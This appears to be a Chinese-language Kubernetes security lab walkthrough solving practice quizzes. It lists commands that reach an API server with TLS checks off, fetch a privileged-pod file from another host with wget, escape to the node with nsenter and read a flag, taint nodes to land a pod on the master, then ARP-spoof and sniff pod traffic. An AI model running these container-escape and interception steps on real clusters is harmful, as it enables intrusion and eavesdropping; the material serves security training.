# 會發現透過 shell 輸入沒辦法傳遞資料
./kubectl -s "https://10.96.0.1" --insecure-skip-tls-verify=true get pods ;
# 看 kubectl 支援的參數,有沒有可能直接從參數帶進去
./kubectl options ;
# 直接在參數帶入 username 資訊,成功取得 pods 資訊
./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true get pods ;
# 抓取建立特權容器腳本
wget http://192.168.56.116:8080/priv_pod.yaml ;
./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true create -f priv_pod.yaml ;
./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true exec -it test -- bash ;
nsenter -m -u -i -n -p -t 1 bash ;
cat worker4_flag ;
利用 Day22 - (攻擊) k8s 汙點橫移攻擊 在 master node 裡面建立特權容器並且逃逸。
# 看一下目前有哪些 nodes
./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true get nodes ;
# 在 worker node 上面打上汙點
./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true taint nodes minikube-m02 node-role.kubernetes.io/control-plane:NoSchedule ;
# 刪除原本建立的特權容器,避免名稱衝突
./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true delete -f priv_pod.yaml ;
./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true create -f priv_pod.yaml ;
./kubectl -s "https://10.96.0.1" --username=asd --insecure-skip-tls-verify=true exec -it test -- bash ;
nsenter -m -u -i -n -p -t 1 bash ;
這題很抱歉有出錯,因為當初我這邊只測試單一節點的環境就以為都可以做 arp spoofing,所以導致切換到多節點的環境上就出錯了,不過沒關係這邊我會先做一次說明哪邊有問題。
該題跟之前介紹的不同,這次可能有跨網段的議題,這部分可以參考鳥哥的 第二章、基礎網路概念。
先做主機偵查動作,這邊要安裝 nmap 進行主機探測。
apt update && apt install -y nmap dsniff ;
# 觀察目前所在網段
ip a ;
# 觀察目前設定的 default gateway
route -n ;
# 透過 nmap 指令進行 ping scan,並觀察得到的結果
nmap -sn 10.244.0.8/24 ;
Nmap scan report for 10-244-0-9.service-quiz5-server.quiz-5.svc.cluster.local (10.244.0.9)
Host is up (0.000021s latency).
Nmap scan report for 10.244.0.10
Host is up (0.00030s latency).
Nmap scan report for 10.244.0.1
Host is up (0.0000040s latency).
MAC Address: 22:87:36:A1:B5:F1 (Unknown)
Nmap scan report for quiz-5 (10.244.0.8)
Host is up.
# 會出現錯誤訊息
arpspoof -i eth0 -t 10.244.0.9 10.244.0.10 ;
kubectl exec -n quiz-5 -it quiz-5-server -- arp -a ;
minikube delete && minikube start ;
git clone https://github.com/aeifkz/2023_K8s_Security.git ;
kubectl create -f 2023_K8s_Security/quiz-5.yaml ;
apt update && apt install -y nmap dsniff ;
# 觀察目前所在網段
ip a ;
# 觀察目前設定的 default gateway
route -n ;
# 透過 nmap 指令進行 ping scan,並觀察得到的結果
nmap -sn 10.244.0.8/24 ;
# 這邊就兩兩都騙
arpspoof -i eth0 -t 10.244.0.10 10.244.0.1 > /dev/null 2> /dev/null &
arpspoof -i eth0 -t 10.244.0.1 10.244.0.1 > /dev/null 2> /dev/null &
arpspoof -i eth0 -t 10.244.0.9 10.244.0.1 > /dev/null 2> /dev/null &
arpspoof -i eth0 -t 10.244.0.1 10.244.0.9 > /dev/null 2> /dev/null &
arpspoof -i eth0 -t 10.244.0.9 10.244.0.10 > /dev/null 2> /dev/null &
arpspoof -i eth0 -t 10.244.0.10 10.244.0.9 > /dev/null 2> /dev/null &
kubectl sniff -n quiz-5 quiz-5 ;
今日總結 :
本日回顧 :
次日預告 :